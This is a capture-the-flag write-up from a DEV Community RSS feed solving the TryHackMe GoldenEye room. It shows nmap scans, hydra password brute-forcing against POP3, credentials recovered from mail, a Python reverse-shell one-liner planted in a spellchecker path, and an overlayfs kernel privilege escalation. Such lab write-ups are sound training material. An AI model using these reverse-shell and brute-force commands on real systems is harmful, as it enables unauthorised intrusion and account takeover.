<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Exzpy</title>
    <description>The latest articles on DEV Community by Exzpy (@expiredcode).</description>
    <link>https://dev.to/expiredcode</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1138289%2Fdcdbf45e-2858-4f61-a316-2e0be1dc0988.png</url>
      <title>DEV Community: Exzpy</title>
      <link>https://dev.to/expiredcode</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/expiredcode"/>
    <language>en</language>
    <item>
      <title>[TryHackMe][CTF] GoldenEye</title>
      <dc:creator>Exzpy</dc:creator>
      <pubDate>Fri, 10 May 2024 20:51:48 +0000</pubDate>
      <link>https://dev.to/expiredcode/tryhackmectf-goldeneye-4b43</link>
      <guid>https://dev.to/expiredcode/tryhackmectf-goldeneye-4b43</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfg2bouzq91l5ygcf4z3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfg2bouzq91l5ygcf4z3.png" alt="[TryHackMe][CTF] GoldenEye" width="300" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First to get started with this room I run a nmap scan on the machine ip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# nmap -Pn -sV 10.10.143.155 -p- 
Not shown: 65531 closed ports
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
55006/tcp open  ssl/pop3 Dovecot pop3d
55007/tcp open  pop3     Dovecot pop3d 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Use nmap to scan the network for all ports. How many ports are open?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; 4&lt;/p&gt;

&lt;p&gt;Accessing the ip on port 80 through Firefox we get to this page:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lml3ckvqlikdaqxdplv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lml3ckvqlikdaqxdplv.png" alt="terminal.js" width="589" height="277"&gt;&lt;/a&gt;&lt;br&gt;
At that endpoint we are presented with a login prompt, which seems to not be supsceptible to SQLi.&lt;/p&gt;

&lt;p&gt;Going back to the home page and inspecting the sourcecode, we find a javascript file named &lt;code&gt;terminal.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var data = [
  {
    GoldenEyeText: "&amp;lt;span&amp;gt;&amp;lt;br/&amp;gt;Severnaya Auxiliary Control Station&amp;lt;br/&amp;gt;****TOP SECRET ACCESS****&amp;lt;br/&amp;gt;Accessing Server Identity&amp;lt;br/&amp;gt;Server Name:....................&amp;lt;br/&amp;gt;GOLDENEYE&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;User: UNKNOWN&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Naviagate to /sev-home/ to login&amp;lt;/span&amp;gt;"
  }
];

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&amp;amp;#73;&amp;amp;#110;&amp;amp;#118;&amp;amp;#105;&amp;amp;#110;&amp;amp;#99;&amp;amp;#105;&amp;amp;#98;&amp;amp;#108;&amp;amp;#101;&amp;amp;#72;&amp;amp;#97;&amp;amp;#99;&amp;amp;#107;&amp;amp;#51;&amp;amp;#114;
//
//BTW Natalya says she can break your codes
//

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j &amp;lt; allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;


  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + `&amp;lt;span class='blinker'&amp;gt;&amp;amp;#32;&amp;lt;/span&amp;gt;`;
    var char = text.slice(-1);
    if (char === "&amp;lt;") isTag = true;
    if (char === "&amp;gt;") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the code that types the message on screen letter by letter, but we can see someone wrote a message that should've been an email&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwuoig6xqvrqz2tgburth.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwuoig6xqvrqz2tgburth.png" alt="the office" width="600" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With this we can answer three of the room questions:&lt;br&gt;
&lt;strong&gt;Who needs to make sure they update their default password?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; Boris&lt;br&gt;
&lt;strong&gt;Whats their password?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; InvincibleHack3r&lt;br&gt;
&lt;strong&gt;What user can break Boris' codes?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; Natalya&lt;/p&gt;

&lt;p&gt;We can now attempt to login on /sev-home/ using Boris as username&lt;br&gt;
And with lower case &lt;code&gt;boris&lt;/code&gt;:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fip0d7ow8g7ku9xk8do1b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fip0d7ow8g7ku9xk8do1b.png" alt="goldeneye" width="362" height="434"&gt;&lt;/a&gt;&lt;br&gt;
A comment in the sourcecode also tells us:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Qualified GoldenEye Network Operator Supervisors: 
Natalya
Boris
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next we are asked to investigate the service on port 55007, which is a POP3 service, let's try to run hydra with the two users we found so far:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://10.10.252.31:55007
[...]
[55007][pop3] host: 10.10.252.31   login: natalya   password: bird
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-04-25 16:35:11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# hydra -l boris -P /usr/share/wordlists/fasttrack.txt 
[...]
[55007][pop3] host: 10.10.252.31   login: boris   password: secret1!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-04-25 16:41:14
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If those creds don't seem to work, can you use another program to find other users and passwords? Maybe Hydra?Whats their new password?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; secret1!&lt;/p&gt;

&lt;p&gt;Connecting to the POP3 service on 55007 using natalya credentials with &lt;strong&gt;telnet&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# telnet 10.10.252.31 55007
Trying 10.10.252.31...
Connected to 10.10.252.31.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird

+OK Logged in.
-ERR Unknown command: 
LIST
+OK 2 messages:
1 631
2 1048
.
RETR 1
+OK 631 octets
Return-Path: &amp;lt;root@ubuntu&amp;gt;
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
    by ubuntu (Postfix) with ESMTP id D5EDA454B1
    for &amp;lt;natalya&amp;gt;; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: &amp;lt;20180425024542.D5EDA454B1@ubuntu&amp;gt;
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
RETR 2
+OK 1048 octets
Return-Path: &amp;lt;root@ubuntu&amp;gt;
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
    by ubuntu (Postfix) with SMTP id 17C96454B1
    for &amp;lt;natalya&amp;gt;; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: &amp;lt;20180425031956.17C96454B1@ubuntu&amp;gt;
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now with the newly found boris credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# telnet 10.10.252.31 55007
Trying 10.10.252.31...
Connected to 10.10.252.31.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
LIST
+OK 3 messages:
1 544
2 373
3 921
.
RETR 1
+OK 544 octets
Return-Path: &amp;lt;root@127.0.0.1.goldeneye&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
    by ubuntu (Postfix) with SMTP id D9E47454B1
    for &amp;lt;boris&amp;gt;; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: &amp;lt;20180425022326.D9E47454B1@ubuntu&amp;gt;
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
RETR 2
+OK 373 octets
Return-Path: &amp;lt;natalya@ubuntu&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
    by ubuntu (Postfix) with ESMTP id C3F2B454B1
    for &amp;lt;boris&amp;gt;; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: &amp;lt;20180425024249.C3F2B454B1@ubuntu&amp;gt;
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.
RETR 3
+OK 921 octets
Return-Path: &amp;lt;alec@janus.boss&amp;gt;
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
    by ubuntu (Postfix) with ESMTP id 4B9F4454B1
    for &amp;lt;boris&amp;gt;; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: &amp;lt;20180425025235.4B9F4454B1@ubuntu&amp;gt;
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ah! so Xenia is a mole and Boris a traitor!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What can you find on this service?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; emails&lt;/p&gt;

&lt;p&gt;Using the endpoint severnaya-station.com/gnocertdir found in Natalya's emails, after adding it to the /etc/hosts file we reach the Operators Training page:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F940tcke7ol5an7z6mfff.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F940tcke7ol5an7z6mfff.png" alt="Operators Training page" width="800" height="428"&gt;&lt;/a&gt;&lt;br&gt;
Logging in with xenia's credentials, it seems she still wasn't approved for the GNO training, says the user &lt;code&gt;admin&lt;/code&gt;&lt;br&gt;
But she has received a message from "Dr Doak", he mentions that his email is "doak"&lt;br&gt;
So we try our luck with hydra again:&lt;br&gt;
&lt;code&gt;[55007][pop3] host: 10.10.252.31   login: doak   password: goat&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Have a poke around the site. What other user can you find?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; doak&lt;br&gt;
&lt;strong&gt;What was this users password?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; goat&lt;/p&gt;

&lt;p&gt;Going on the mail server using telnet again we find the following mail in doak account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Who's James?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the next user you can find from doak?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; dr_doak&lt;br&gt;
&lt;strong&gt;What is this users password?&lt;/strong&gt;&lt;br&gt;
-&amp;gt; 4England!&lt;/p&gt;

&lt;p&gt;Let's use dr_doak credentials to log into the portal&lt;br&gt;
He doesn't seem to have more privileges than xenia, but in his home page, there seems to be an interesting file&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzqsfazqnm1wumdu5u2sp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzqsfazqnm1wumdu5u2sp.png" alt="s3cr3t" width="800" height="328"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(oh.. "007" that's THE James, right..:)&lt;/p&gt;

&lt;p&gt;Accessing &lt;code&gt;http://severnaya-station.com/dir007key/for-007.jpg&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdskzdeb3nspbo40zguwd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdskzdeb3nspbo40zguwd.png" alt="Image description" width="315" height="214"&gt;&lt;/a&gt;&lt;br&gt;
Downloading the image and checking the properties, there's something interesting:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenoqc6atj5pejose5d5j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenoqc6atj5pejose5d5j.png" alt="Image description" width="534" height="270"&gt;&lt;/a&gt;&lt;br&gt;
The description hides a base64 message &lt;br&gt;
&lt;code&gt;eFdpbnRlcjE5OTV4IQ==&lt;/code&gt; -&amp;gt; &lt;code&gt;xWinter1995x!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Given the secrecy, could this be the admin password?&lt;br&gt;
Yes!!&lt;br&gt;
Now that we are logged in as admin, let's lurk around&lt;br&gt;
&lt;em&gt;We are also hinted to look for the Aspell plugin&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In the administration panel, looks like the path variable for the Aspell plugin is running some code, this might be an interesting feature&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff7mil1xt1l7ycl1392vj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff7mil1xt1l7ycl1392vj.png" alt="Image description" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I grabbed a python reverse shell from &lt;strong&gt;pentestmonkey&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Changed the default google spell checker to PSpellShell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwzw38egyw6tib2mfk8g4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwzw38egyw6tib2mfk8g4.png" alt="Image description" width="696" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open a new shell and start a netcat listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc -lnvp 1234
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Write a new blog post and click the spellcheck button&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp2ksveerkex2pb4l7wmj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp2ksveerkex2pb4l7wmj.png" alt="Image description" width="661" height="352"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aaand we have a shell!&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzui8wkyl0z139lrp3pgc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzui8wkyl0z139lrp3pgc.png" alt="Image description" width="480" height="105"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Whats the kernel version?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's use &lt;code&gt;uname -a&lt;/code&gt; to get the version&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3.13.0-32-generic 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now for privesc the room says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This machine is vulnerable to the overlayfs exploit. The exploitation is technically very simple:&lt;br&gt;
Create new user and mount namespace using clone with CLONE_NEWUSER|CLONE_NEWNS flags.&lt;br&gt;
Mount an overlayfs using /bin as lower filesystem, some temporary directories as upper and work directory.&lt;br&gt;
Overlayfs mount would only be visible within user namespace, so let namespace process change CWD to overlayfs, thus making the overlayfs also visible outside the namespace via the proc filesystem.&lt;br&gt;
Make su on overlayfs world writable without changing the owner&lt;br&gt;
Let process outside user namespace write arbitrary content to the file applying a slightly modified variant of the SetgidDirectoryPrivilegeEscalation exploit.&lt;br&gt;
Execute the modified su binary&lt;br&gt;
You can download the exploit from here: &lt;a href="https://www.exploit-db.com/exploits/37292"&gt;https://www.exploit-db.com/exploits/37292&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After enumerating and finding the C compiler name, and following the instructions on the exploit...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9a3fbox5wzwtnsn60npw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9a3fbox5wzwtnsn60npw.png" alt="Image description" width="641" height="203"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9a1mvwbavix08kzy689.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9a1mvwbavix08kzy689.png" alt="Image description" width="300" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Time to get the flag:&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegczgpai5jrzwkyn1lyf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegczgpai5jrzwkyn1lyf.png" alt="Image description" width="537" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkfijjjpcz6kh9tj6cmb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkfijjjpcz6kh9tj6cmb.png" alt="Image description" width="715" height="565"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
